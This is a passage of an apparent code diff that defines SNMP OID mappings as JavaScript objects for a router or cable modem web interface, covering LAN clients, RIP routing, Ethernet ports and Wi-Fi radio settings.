arLanCurrentClientStatus=LanCurrentClientTable.LanCurrentClientStatus; +var arLanCurrentClientInfLease=LanCurrentClientTable.LanCurrentClientInfLease; +var arLanCurrentClientLeaseState=LanCurrentClientTable.LanCurrentClientLeaseState; +var arLanCurrentClientFirstSeen=LanCurrentClientTable.LanCurrentClientFirstSeen; +var arLanCurrentClientLastSeen=LanCurrentClientTable.LanCurrentClientLastSeen; +var arLanCurrentClientConnectionInfo=LanCurrentClientTable.LanCurrentClientConnectionInfo; +var arLanCurrentClientLeaseTime=LanCurrentClientTable.LanCurrentClientLeaseTime; + +var LanStaticClientTable = new Table("LanStaticClientTable", "1.3.6.1.4.1.4115.1.20.1.1.2.4.7"); +LanStaticClientTable.LanStaticClientIndex = new Column("LanStaticClientIndex","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.1",2); +LanStaticClientTable.LanStaticClientIPAddrType = new Column("LanStaticClientIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.2",2); +LanStaticClientTable.LanStaticClientIPAddr = new Column("LanStaticClientIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.3",4, 1); +LanStaticClientTable.LanStaticClientHostName = new Column("LanStaticClientHostName","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.4",4); +LanStaticClientTable.LanStaticClientMAC = new Column("LanStaticClientMAC","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.5",4, 1); +LanStaticClientTable.LanStaticClientRowStatus = new Column("LanStaticClientRowStatus","1.3.6.1.4.1.4115.1.20.1.1.2.4.7.1.6",2); +var arLanStaticClientIndex=LanStaticClientTable.LanStaticClientIndex; +var arLanStaticClientIPAddrType=LanStaticClientTable.LanStaticClientIPAddrType; +var arLanStaticClientIPAddr=LanStaticClientTable.LanStaticClientIPAddr; +var arLanStaticClientHostName=LanStaticClientTable.LanStaticClientHostName; +var arLanStaticClientMAC=LanStaticClientTable.LanStaticClientMAC; +var arLanStaticClientRowStatus=LanStaticClientTable.LanStaticClientRowStatus; + +var RIPObjects = new Container("RIPObjects", "1.3.6.1.4.1.4115.1.20.1.1.2.5"); +RIPObjects.RIPEnable= new Scalar("RIPEnable","1.3.6.1.4.1.4115.1.20.1.1.2.5.1",2); +RIPObjects.RIPAuthEnable= new Scalar("RIPAuthEnable","1.3.6.1.4.1.4115.1.20.1.1.2.5.2",2); +RIPObjects.RIPReportTime= new Scalar("RIPReportTime","1.3.6.1.4.1.4115.1.20.1.1.2.5.3",66); +RIPObjects.RIPAuthKeyString= new Scalar("RIPAuthKeyString","1.3.6.1.4.1.4115.1.20.1.1.2.5.4",4); +RIPObjects.RIPAuthKeyID= new Scalar("RIPAuthKeyID","1.3.6.1.4.1.4115.1.20.1.1.2.5.5",2); +RIPObjects.RIPIPAddrType= new Scalar("RIPIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.2.5.6",2); +RIPObjects.RIPIPAddr= new Scalar("RIPIPAddr","1.3.6.1.4.1.4115.1.20.1.1.2.5.7",4, 1); +RIPObjects.RIPPrefixLen= new Scalar("RIPPrefixLen","1.3.6.1.4.1.4115.1.20.1.1.2.5.8",66); +RIPObjects.RIPAuthKeyChain= new Scalar("RIPAuthKeyChain","1.3.6.1.4.1.4115.1.20.1.1.2.5.9",4); +RIPObjects.RIPRoutedSubnetIPType= new Scalar("RIPRoutedSubnetIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.10",2); +RIPObjects.RIPRoutedSubnetIP= new Scalar("RIPRoutedSubnetIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.11",4, 1); +RIPObjects.RIPRoutedSubnetGWNetIPType= new Scalar("RIPRoutedSubnetGWNetIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.12",2); +RIPObjects.RIPRoutedSubnetGWNetIP= new Scalar("RIPRoutedSubnetGWNetIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.13",4, 1); +RIPObjects.RIPRoutedSubnetMask= new Scalar("RIPRoutedSubnetMask","1.3.6.1.4.1.4115.1.20.1.1.2.5.14",4, 1); +RIPObjects.RIPRoutedSubnetEnabled= new Scalar("RIPRoutedSubnetEnabled","1.3.6.1.4.1.4115.1.20.1.1.2.5.15",2); +RIPObjects.RIPSendCMInterface= new Scalar("RIPSendCMInterface","1.3.6.1.4.1.4115.1.20.1.1.2.5.16",2); +RIPObjects.RIPRoutedSubnetDHCP= new Scalar("RIPRoutedSubnetDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.5.17",2); +RIPObjects.RIPRoutedSubnetNAT= new Scalar("RIPRoutedSubnetNAT","1.3.6.1.4.1.4115.1.20.1.1.2.5.18",2); +// scm { +RIPObjects.RIPInterface= new Scalar("RIPInterface","1.3.6.1.4.1.4115.1.20.1.1.2.5.23",2); +RIPObjects.RIPSendVersion= new Scalar("RIPSendVersion","1.3.6.1.4.1.4115.1.20.1.1.2.5.20",4); +RIPObjects.RIPRecvVersion= new Scalar("RIPRecvVersion","1.3.6.1.4.1.4115.1.20.1.1.2.5.21",2); +RIPObjects.RIPDefaultMetric= new Scalar("RIPDefaultMetric","1.3.6.1.4.1.4115.1.20.1.1.2.5.22",2); + RIPObjects.RIPNeighbor= new Scalar("RIPNeighbor","1.3.6.1.4.1.4115.1.20.1.1.2.5.23",2); +// scm { +var arRIPEnable=RIPObjects.RIPEnable; +var arRIPAuthEnable=RIPObjects.RIPAuthEnable; +var arRIPReportTime=RIPObjects.RIPReportTime; +var arRIPAuthKeyString=RIPObjects.RIPAuthKeyString; +var arRIPAuthKeyID=RIPObjects.RIPAuthKeyID; +var arRIPIPAddrType=RIPObjects.RIPIPAddrType; +var arRIPIPAddr=RIPObjects.RIPIPAddr; +var arRIPPrefixLen=RIPObjects.RIPPrefixLen; +var arRIPAuthKeyChain=RIPObjects.RIPAuthKeyChain; +var arRIPRoutedSubnetIPType=RIPObjects.RIPRoutedSubnetIPType; +var arRIPRoutedSubnetIP=RIPObjects.RIPRoutedSubnetIP; +var arRIPRoutedSubnetGWNetIPType=RIPObjects.RIPRoutedSubnetGWNetIPType; +var arRIPRoutedSubnetGWNetIP=RIPObjects.RIPRoutedSubnetGWNetIP; +var arRIPRoutedSubnetMask=RIPObjects.RIPRoutedSubnetMask; +var arRIPRoutedSubnetEnabled=RIPObjects.RIPRoutedSubnetEnabled; +var arRIPSendCMInterface=RIPObjects.RIPSendCMInterface; +var arRIPRoutedSubnetDHCP=RIPObjects.RIPRoutedSubnetDHCP; +var arRIPRoutedSubnetNAT=RIPObjects.RIPRoutedSubnetNAT; + +var arRIPInterface=RIPObjects.RIPInterface; +var arRIPSendVersion=RIPObjects.RIPSendVersion; +var arRIPRecvVersion=RIPObjects.RIPRecvVersion; +var arRIPDefaultMetric=RIPObjects.RIPDefaultMetric; +var arRIPNeighbor=RIPObjects.RIPNeighbor; + + +var RIPRoutedSubnetTable = new Table("RIPRoutedSubnetTable", "1.3.6.1.4.1.4115.1.20.1.1.2.5.19"); +RIPRoutedSubnetTable.RIPRoutedSubnetTableIndex = new Column("RIPRoutedSubnetTableIndex","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.1",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableIPType = new Column("RIPRoutedSubnetTableIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.2",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableIP = new Column("RIPRoutedSubnetTableIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.3",4, 1); +RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIPType = new Column("RIPRoutedSubnetTableGWNetIPType","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.4",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIP = new Column("RIPRoutedSubnetTableGWNetIP","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.5",4, 1); +RIPRoutedSubnetTable.RIPRoutedSubnetTableMask = new Column("RIPRoutedSubnetTableMask","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.6",4, 1); +RIPRoutedSubnetTable.RIPRoutedSubnetTableEnabled = new Column("RIPRoutedSubnetTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.7",2); +RIPRoutedSubnetTable.RIPTableSendCMInterface = new Column("RIPTableSendCMInterface","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.8",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableDHCP = new Column("RIPRoutedSubnetTableDHCP","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.9",2); +RIPRoutedSubnetTable.RIPRoutedSubnetTableNAT = new Column("RIPRoutedSubnetTableNAT","1.3.6.1.4.1.4115.1.20.1.1.2.5.19.1.10",2); +var arRIPRoutedSubnetTableIndex=RIPRoutedSubnetTable.RIPRoutedSubnetTableIndex; +var arRIPRoutedSubnetTableIPType=RIPRoutedSubnetTable.RIPRoutedSubnetTableIPType; +var arRIPRoutedSubnetTableIP=RIPRoutedSubnetTable.RIPRoutedSubnetTableIP; +var arRIPRoutedSubnetTableGWNetIPType=RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIPType; +var arRIPRoutedSubnetTableGWNetIP=RIPRoutedSubnetTable.RIPRoutedSubnetTableGWNetIP; +var arRIPRoutedSubnetTableMask=RIPRoutedSubnetTable.RIPRoutedSubnetTableMask; +var arRIPRoutedSubnetTableEnabled=RIPRoutedSubnetTable.RIPRoutedSubnetTableEnabled; +var arRIPTableSendCMInterface=RIPRoutedSubnetTable.RIPTableSendCMInterface; +var arRIPRoutedSubnetTableDHCP=RIPRoutedSubnetTable.RIPRoutedSubnetTableDHCP; +var arRIPRoutedSubnetTableNAT=RIPRoutedSubnetTable.RIPRoutedSubnetTableNAT; + +var LanEtherPortTable = new Table("LanEtherPortTable", "1.3.6.1.4.1.4115.1.20.1.1.2.8"); +LanEtherPortTable.LanEtherPortIdx = new Column("LanEtherPortIdx", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.1",66); +LanEtherPortTable.LanEtherPortIFIndex = new Column("LanEtherPortIFIndex", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.2",2); +LanEtherPortTable.LanEtherPortEnabled = new Column("LanEtherPortEnabled", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.3",2); +LanEtherPortTable.LanEtherPortDuplex = new Column("LanEtherPortDuplex", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.4",2); +LanEtherPortTable.LanEtherPortSpeed = new Column("LanEtherPortSpeed", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.5",2); +LanEtherPortTable.LanEtherPortAuto = new Column("LanEtherPortAuto", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.6",2); +LanEtherPortTable.LanEtherPortHasLink = new Column("LanEtherPortHasLink", "1.3.6.1.4.1.4115.1.20.1.1.2.8.1.7",2); +var arLanEtherPortIdx=LanEtherPortTable.LanEtherPortIdx; +var arLanEtherPortIFIndex=LanEtherPortTable.LanEtherPortIFIndex; +var arLanEtherPortEnabled=LanEtherPortTable.LanEtherPortEnabled; +var arLanEtherPortDuplex=LanEtherPortTable.LanEtherPortDuplex; +var arLanEtherPortSpeed=LanEtherPortTable.LanEtherPortSpeed; +var arLanEtherPortAuto=LanEtherPortTable.LanEtherPortAuto; +var arLanEtherPortHasLink=LanEtherPortTable.LanEtherPortHasLink; + +var RIPngObjects = new Container("RIPngObjects", "1.3.6.1.4.1.4115.1.20.1.1.2.9"); +RIPngObjects.RIPngEnable= new Scalar("RIPngEnable","1.3.6.1.4.1.4115.1.20.1.1.2.9.1",2); +RIPngObjects.RIPngAddr= new Scalar("RIPngAddr","1.3.6.1.4.1.4115.1.20.1.1.2.9.2",4, 1); +RIPngObjects.RIPngSubnetEnable= new Scalar("RIPngSubnetEnable","1.3.6.1.4.1.4115.1.20.1.1.2.9.3",2); +RIPngObjects.RIPngRoutedSubnetAddr= new Scalar("RIPngRoutedSubnetAddr","1.3.6.1.4.1.4115.1.20.1.1.2.9.4",4, 1); +RIPngObjects.RIPngRoutedSubnetPrefixLength= new Scalar("RIPngRoutedSubnetPrefixLength","1.3.6.1.4.1.4115.1.20.1.1.2.9.5",2); +RIPngObjects.RIPngSendCMInterface= new Scalar("RIPngSendCMInterface","1.3.6.1.4.1.4115.1.20.1.1.2.9.6",2); +var arRIPngEnable=RIPngObjects.RIPngEnable; +var arRIPngAddr=RIPngObjects.RIPngAddr; +var arRIPngSubnetEnable=RIPngObjects.RIPngSubnetEnable; +var arRIPngRoutedSubnetAddr=RIPngObjects.RIPngRoutedSubnetAddr; +var arRIPngRoutedSubnetPrefixLength=RIPngObjects.RIPngRoutedSubnetPrefixLength; +var arRIPngSendCMInterface=RIPngObjects.RIPngSendCMInterface; + +var WiFi50RadioSettings = new Container("WiFi50RadioSettings", "1.3.6.1.4.1.4115.1.20.1.1.3.50"); +WiFi50RadioSettings.WiFi50Channel= new Scalar("WiFi50Channel","1.3.6.1.4.1.4115.1.20.1.1.3.50.1",66); +WiFi50RadioSettings.WiFi50Mode= new Scalar("WiFi50Mode","1.3.6.1.4.1.4115.1.20.1.1.3.50.2",2); +WiFi50RadioSettings.WiFi50EnableRadio= new Scalar("WiFi50EnableRadio","1.3.6.1.4.1.4115.1.20.1.1.3.50.10",2); +WiFi50RadioSettings.WiFi50OutputPower= new Scalar("WiFi50OutputPower","1.3.6.1.4.1.4115.1.20.1.1.3.50.14",2); +WiFi50RadioSettings.WiFi50HTTxStream= new Scalar("WiFi50HTTxStream","1.3.6.1.4.1.4115.1.20.1.1.3.50.21",66); +WiFi50RadioSettings.WiFi50HTRxStream= new Scalar("WiFi50HTRxStream","1.3.6.1.4.1.4115.1.20.1.1.3.50.22",66); +WiFi50RadioSettings.WiFi50EnableSTBC= new Scalar("WiFi50EnableSTBC","1.3.6.1.4.1.4115.1.20.1.1.3.50.23",2); +WiFi50RadioSettings.WiFi50EnableRDG= new Scalar("WiFi50EnableRDG","1.3.6.1.4.1.4115.1.20.1.1.3.50.24",2); +WiFi50RadioSettings.WiFi50IGMPSnooping= new Scalar("WiFi50IGMPSnooping","1.3.6.1.4.1.4115.1.20.1.1.3.50.25",2); +WiFi50RadioSettings.WiFi50WiFiBlockDFSChan= new Scalar("WiFi50WiFiBlockDFSChan","1.3.6.1.4.1.4115.1.20.1.1.3.50.26",2); +WiFi50RadioSettings.WiFi50PhysicalChannel= new Scalar("WiFi50PhysicalChannel","1.3.6.1.4.1.4115.1.20.1.1.3.50.16",2); /* kn-mib */ +var arWiFi50Channel=WiFi50RadioSettings.WiFi50Channel; +var arWiFi50Mode=WiFi50RadioSettings.WiFi50Mode; +var arWiFi50EnableRadio=WiFi50RadioSettings.WiFi50EnableRadio; +var arWiFi50OutputPower=WiFi50RadioSettings.WiFi50OutputPower; +var arWiFi50HTTxStream=WiFi50RadioSettings.WiFi50HTTxStream; +var arWiFi50HTRxStream=WiFi50RadioSettings.WiFi50HTRxStream; +var arWiFi50EnableSTBC=WiFi50RadioSettings.WiFi50EnableSTBC; +var arWiFi50EnableRDG=WiFi50RadioSettings.WiFi50EnableRDG; +var arWiFi50IGMPSnooping=WiFi50RadioSettings.WiFi50IGMPSnooping; +var arWiFi50BlockDFSChan=WiFi50RadioSettings.WiFi50WiFiBlockDFSChan; +var arWiFi50PhysicalChannel=WiFi50RadioSettings.WiFi50PhysicalChannel; /* kn-mib */ + +var WiFi50NSettings = new Container("WiFi50NSettings", "1.3.6.1.4.1.4115.1.20.1.1.3.50.20"); +WiFi50NSettings.WiFi50HTMCS= new Scalar("WiFi50HTMCS","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.1",2); +WiFi50NSettings.WiFi50ChannelBW= new Scalar("WiFi50ChannelBW","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.2",2); +WiFi50NSettings.WiFi50NSideBand= new Scalar("WiFi50NSideBand","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.3",2); +WiFi50NSettings.WiFi50HTMode= new Scalar("WiFi50HTMode","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.4",2); +WiFi50NSettings.WiFi50GuardInterval= new Scalar("WiFi50GuardInterval","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.5",2); +WiFi50NSettings.WiFi50AMSDUEnable= new Scalar("WiFi50AMSDUEnable","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.6",2); +WiFi50NSettings.WiFi50DeclinePeerBA= new Scalar("WiFi50DeclinePeerBA","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.7",2); +WiFi50NSettings.WiFi50BlockAck= new Scalar("WiFi50BlockAck","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.8",2); +WiFi50NSettings.WiFi50NProtection= new Scalar("WiFi50NProtection","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.9",2); +WiFi50NSettings.WiFi50Allow40MHzOnlyOperation= new Scalar("WiFi50Allow40MHzOnlyOperation","1.3.6.1.4.1.4115.1.20.1.1.3.50.20.10",2); +var arWiFi50HTMCS=WiFi50NSettings.WiFi50HTMCS; +var arWiFi50ChannelBW=WiFi50NSettings.WiFi50ChannelBW; +var arWiFi50NSideBand=WiFi50NSettings.WiFi50NSideBand; +var arWiFi50HTMode=WiFi50NSettings.WiFi50HTMode; +var arWiFi50GuardInterval=WiFi50NSettings.WiFi50GuardInterval; +var arWiFi50AMSDUEnable=WiFi50NSettings.WiFi50AMSDUEnable; +var arWiFi50DeclinePeerBA=WiFi50NSettings.WiFi50DeclinePeerBA; +var arWiFi50BlockAck=WiFi50NSettings.WiFi50BlockAck; +var arWiFi50NProtection=WiFi50NSettings.WiFi50NProtection; +var arWiFi50Allow40MHzOnlyOperation=WiFi50NSettings.WiFi50Allow40MHzOnlyOperation; + +var WirelessCfg = new Container("WirelessCfg", "1.3.6.1.4.1.4115.1.20.1.1.3"); +WirelessCfg.WiFiCountry= new Scalar("WiFiCountry","1.3.6.1.4.1.4115.1.20.1.1.3.1",4); +WirelessCfg.WiFiChannel= new Scalar("WiFiChannel","1.3.6.1.4.1.4115.1.20.1.1.3.2",66); +WirelessCfg.WiFiMode= new Scalar("WiFiMode","1.3.6.1.4.1.4115.1.20.1.1.3.3",2); +WirelessCfg.WiFiBGProtect= new Scalar("WiFiBGProtect","1.3.6.1.4.1.4115.1.20.1.1.3.4",2); +WirelessCfg.WiFiBeaconInterval= new Scalar("WiFiBeaconInterval","1.3.6.1.4.1.4115.1.20.1.1.3.5",66); +WirelessCfg.WiFiDTIMInterval= new Scalar("WiFiDTIMInterval","1.3.6.1.4.1.4115.1.20.1.1.3.6",66); +WirelessCfg.WiFiTxPreamble= new Scalar("WiFiTxPreamble","1.3.6.1.4.1.4115.1.20.1.1.3.7",2); +WirelessCfg.WiFiRTSThreshold= new Scalar("WiFiRTSThreshold","1.3.6.1.4.1.4115.1.20.1.1.3.8",66); +WirelessCfg.WiFiFragmentThresh= new Scalar("WiFiFragmentThresh","1.3.6.1.4.1.4115.1.20.1.1.3.9",66); +WirelessCfg.WiFiShortSlot= new Scalar("WiFiShortSlot","1.3.6.1.4.1.4115.1.20.1.1.3.10",2); +WirelessCfg.WiFiFrameBurst= new Scalar("WiFiFrameBurst","1.3.6.1.4.1.4115.1.20.1.1.3.11",2); +WirelessCfg.WiFiEnableRadio= new Scalar("WiFiEnableRadio","1.3.6.1.4.1.4115.1.20.1.1.3.12",2); +WirelessCfg.WiFiTxPower= new Scalar("WiFiTxPower","1.3.6.1.4.1.4115.1.20.1.1.3.13",2); +WirelessCfg.WiFiShortRetryLimit= new Scalar("WiFiShortRetryLimit","1.3.6.1.4.1.4115.1.20.1.1.3.14",2); +WirelessCfg.WiFiLongRetryLimit= new Scalar("WiFiLongRetryLimit","1.3.6.1.4.1.4115.1.20.1.1.3.15",2); +WirelessCfg.WiFiOutputPower= new Scalar("WiFiOutputPower","1.3.6.1.4.1.4115.1.20.1.1.3.16",2); +WirelessCfg.WiFiMulticastA= new Scalar("WiFiMulticastA","1.3.6.1.4.1.4115.1.20.1.1.3.17",2); +WirelessCfg.WiFiMulticastBG= new Scalar("WiFiMulticastBG","1.3.6.1.4.1.4115.1.20.1.1.3.18",2); +WirelessCfg.WiFiBasicRateSet= new Scalar("WiFiBasicRateSet","1.3.6.1.4.1.4115.1.20.1.1.3.19",2); +WirelessCfg.WiFiTxRate= new Scalar("WiFiTxRate","1.3.6.1.4.1.4115.1.20.1.1.3.20",2); +WirelessCfg.WiFiResetDefaults= new Scalar("WiFiResetDefaults","1.3.6.1.4.1.4115.1.20.1.1.3.32",2); +WirelessCfg.WiFiEnableRadioNow= new Scalar("WiFiEnableRadioNow","1.3.6.1.4.1.4115.1.20.1.1.3.33",2); +WirelessCfg.WiFiCustomSSIDStr= new Scalar("WiFiCustomSSIDStr","1.3.6.1.4.1.4115.1.20.1.1.3.34",4); +WirelessCfg.WiFiReset= new Scalar("WiFiReset","1.3.6.1.4.1.4115.1.20.1.1.3.35",2); +WirelessCfg.WiFiUseSNForPSK= new Scalar("WiFiUseSNForPSK","1.3.6.1.4.1.4115.1.20.1.1.3.36",2); +WirelessCfg.WiFiRadioControlMode= new Scalar("WiFiRadioControlMode","1.3.6.1.4.1.4115.1.20.1.1.3.37",2); +WirelessCfg.WiFiAutoChannelTime= new Scalar("WiFiAutoChannelTime","1.3.6.1.4.1.4115.1.20.1.1.3.38",2); +WirelessCfg.WiFiUtilityCommand= new Scalar("WiFiUtilityCommand","1.3.6.1.4.1.4115.1.20.1.1.3.40",4); +WirelessCfg.WiFiUtilityCommandOutput= new Scalar("WiFiUtilityCommandOutput","1.3.6.1.4.1.4115.1.20.1.1.3.41",4); +WirelessCfg.WiFiPhysicalChannel= new Scalar("WiFiPhysicalChannel","1.3.6.1.4.1.4115.1.20.1.1.3.43",2); +WirelessCfg.WiFiTxPowerPhysical= new Scalar("WiFiTxPowerPhysical","1.3.6.1.4.1.4115.1.20.1.1.3.44",2); +WirelessCfg.WiFiShortSlotEnhanced= new Scalar("WiFiShortSlotEnhanced","1.3.6.1.4.1.4115.1.20.1.1.3.45",2); +WirelessCfg.WiFiInterferencePhyLayer= new Scalar("WiFiInterferencePhyLayer","1.3.6.1.4.1.4115.1.20.1.1.3.47",2); +WirelessCfg.WiFiInterferenceDriverLayer= new Scalar("WiFiInterferenceDriverLayer","1.3.6.1.4.1.4115.1.20.1.1.3.48",2); +WirelessCfg.WiFiChannelsInterferenceState= new Scalar("WiFiChannelsInterferenceState","1.3.6.1.4.1.4115.1.20.1.1.3.49",4); +WirelessCfg.WiFiExtensionChannel= new Scalar("WiFiExtensionChannel","1.3.6.1.4.1.4115.1.20.1.1.3.64",66); +WirelessCfg.WiFiHTTxStream= new Scalar("WiFiHTTxStream","1.3.6.1.4.1.4115.1.20.1.1.3.55",66); +WirelessCfg.WiFiHTRxStream= new Scalar("WiFiHTRxStream","1.3.6.1.4.1.4115.1.20.1.1.3.56",66); +WirelessCfg.WiFiEnableSTBC= new Scalar("WiFiEnableSTBC","1.3.6.1.4.1.4115.1.20.1.1.3.57",2); +WirelessCfg.WiFiEnableRDG= new Scalar("WiFiEnableRDG","1.3.6.1.4.1.4115.1.20.1.1.3.58",2); +WirelessCfg.WiFiIGMPSnooping= new Scalar("WiFiIGMPSnooping","1.3.6.1.4.1.4115.1.20.1.1.3.59",2); +var arWiFiCountry=WirelessCfg.WiFiCountry; +var arWiFiChannel=WirelessCfg.WiFiChannel; +var arWiFiMode=WirelessCfg.WiFiMode; +var arWiFiBGProtect=WirelessCfg.WiFiBGProtect; +var arWiFiBeaconInterval=WirelessCfg.WiFiBeaconInterval; +var arWiFiDTIMInterval=WirelessCfg.WiFiDTIMInterval; +var arWiFiTxPreamble=WirelessCfg.WiFiTxPreamble; +var arWiFiRTSThreshold=WirelessCfg.WiFiRTSThreshold; +var arWiFiFragmentThresh=WirelessCfg.WiFiFragmentThresh; +var arWiFiShortSlot=WirelessCfg.WiFiShortSlot; +var arWiFiFrameBurst=WirelessCfg.WiFiFrameBurst; +var arWiFiEnableRadio=WirelessCfg.WiFiEnableRadio; +var arWiFiTxPower=WirelessCfg.WiFiTxPower; +var arWiFiShortRetryLimit=WirelessCfg.WiFiShortRetryLimit; +var arWiFiLongRetryLimit=WirelessCfg.WiFiLongRetryLimit; +var arWiFiOutputPower=WirelessCfg.WiFiOutputPower; +var arWiFiMulticastA=WirelessCfg.WiFiMulticastA; +var arWiFiMulticastBG=WirelessCfg.WiFiMulticastBG; +var arWiFiBasicRateSet=WirelessCfg.WiFiBasicRateSet; +var arWiFiTxRate=WirelessCfg.WiFiTxRate; +var arWiFiResetDefaults=WirelessCfg.WiFiResetDefaults; +var arWiFiEnableRadioNow=WirelessCfg.WiFiEnableRadioNow; +var arWiFiCustomSSIDStr=WirelessCfg.WiFiCustomSSIDStr; +var arWiFiReset=WirelessCfg.WiFiReset; +var arWiFiUseSNForPSK=WirelessCfg.WiFiUseSNForPSK; +var arWiFiRadioControlMode=WirelessCfg.WiFiRadioControlMode; +var arWiFiAutoChannelTime=WirelessCfg.WiFiAutoChannelTime; +var arWiFiUtilityCommand=WirelessCfg.WiFiUtilityCommand; +var arWiFiUtilityCommandOutput=WirelessCfg.WiFiUtilityCommandOutput; +var arWiFiPhysicalChannel=WirelessCfg.WiFiPhysicalChannel; +var arWiFiTxPowerPhysical=WirelessCfg.WiFiTxPowerPhysical; +var arWiFiShortSlotEnhanced=WirelessCfg.WiFiShortSlotEnhanced; +var arWiFiInterferencePhyLayer=WirelessCfg.WiFiInterferencePhyLayer; +var arWiFiInterferenceDriverLayer=WirelessCfg.WiFiInterferenceDriverLayer; +var arWiFiChannelsInterferenceState=WirelessCfg.WiFiChannelsInterferenceState; +var arWiFiExtensionChannel=WirelessCfg.WiFiExtensionChannel; +var arWiFiHTTxStream=WirelessCfg.WiFiHTTxStream; +var arWiFiHTRxStream=WirelessCfg.WiFiHTRxStream; +var arWiFiEnableSTBC=WirelessCfg.WiFiEnableSTBC; +var arWiFiEnableRDG=WirelessCfg.WiFiEnableRDG; +var arWiFiIGMPSnooping=WirelessCfg.WiFiIGMPSnooping; + +var WiFi80211NSettings = new Container("WiFi80211NSettings", "1.3.6.1.4.1.4115.1.20.1.1.3.21"); +WiFi80211NSettings.WiFi80211NBand= new Scalar("WiFi80211NBand","1.3.6.1.4.1.4115.1.20.1.1.3.21.1",2); +WiFi80211NSettings.WiFiHTMCS= new Scalar("WiFiHTMCS","1.3.6.1.4.1.4115.1.20.1.1.3.21.2",2); +WiFi80211NSettings.WiFiChannelBW= new Scalar("WiFiChannelBW","1.3.6.1.4.1.4115.1.20.1.1.3.21.3",2); +WiFi80211NSettings.WiFi80211NSideBand= new Scalar("WiFi80211NSideBand","1.3.6.1.4.1.4115.1.20.1.1.3.21.4",2); +WiFi80211NSettings.WiFiHTMode= new Scalar("WiFiHTMode","1.3.6.1.4.1.4115.1.20.1.1.3.21.5",2); +WiFi80211NSettings.WiFiGuardInterval= new Scalar("WiFiGuardInterval","1.3.6.1.4.1.4115.1.20.1.1.3.21.6",2); +WiFi80211NSettings.WiFiAMSDUEnable= new Scalar("WiFiAMSDUEnable","1.3.6.1.4.1.4115.1.20.1.1.3.21.7",2); +WiFi80211NSettings.WiFiDeclinePeerBA= new Scalar("WiFiDeclinePeerBA","1.3.6.1.4.1.4115.1.20.1.1.3.21.8",2); +WiFi80211NSettings.WiFiBlockAck= new Scalar("WiFiBlockAck","1.3.6.1.4.1.4115.1.20.1.1.3.21.9",2); +WiFi80211NSettings.WiFiNProtection= new Scalar("WiFiNProtection","1.3.6.1.4.1.4115.1.20.1.1.3.21.10",2); +var arWiFi80211NBand=WiFi80211NSettings.WiFi80211NBand; +var arWiFiHTMCS=WiFi80211NSettings.WiFiHTMCS; +var arWiFiChannelBW=WiFi80211NSettings.WiFiChannelBW; +var arWiFi80211NSideBand=WiFi80211NSettings.WiFi80211NSideBand; +var arWiFiHTMode=WiFi80211NSettings.WiFiHTMode; +var arWiFiGuardInterval=WiFi80211NSettings.WiFiGuardInterval; +var arWiFiAMSDUEnable=WiFi80211NSettings.WiFiAMSDUEnable; +var arWiFiDeclinePeerBA=WiFi80211NSettings.WiFiDeclinePeerBA; +var arWiFiBlockAck=WiFi80211NSettings.WiFiBlockAck; +var arWiFiNProtection=WiFi80211NSettings.WiFiNProtection; + + +var RouterSoftGreWanTable = new Table("RouterSoftGreWanTable", "1.3.6.1.4.1.4115.1.20.1.1.1.19.1"); +RouterSoftGreWanTable.SoftGreWanEnable = new Column("SoftGreWanEnable","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.1",2,1); +RouterSoftGreWanTable.SoftGreMappedInterface = new Column("SoftGreMappedInterface","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.2",66); +RouterSoftGreWanTable.SoftGreWanDscp = new Column("SoftGreWanDscp","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.19",2,1); +RouterSoftGreWanTable.FailoverPingCount = new Column("FailoverPingCount","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.7",2, 1); +RouterSoftGreWanTable.FailoverPingInterval = new Column("FailoverPingInterval","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.8",2, 1); +RouterSoftGreWanTable.FailoverThreshold = new Column("FailoverThreshold","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.9",2, 1); +//RouterSoftGreWanTable.DNSRetryTimer = new Column("DNSRetryTimer","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.20",2, 1); +RouterSoftGreWanTable.CircuitIdEnabled = new Column("CircuitIdEnabled","1.3.6.1.4.1.4115.1.20.1.1.1.19.1.1.10",2); 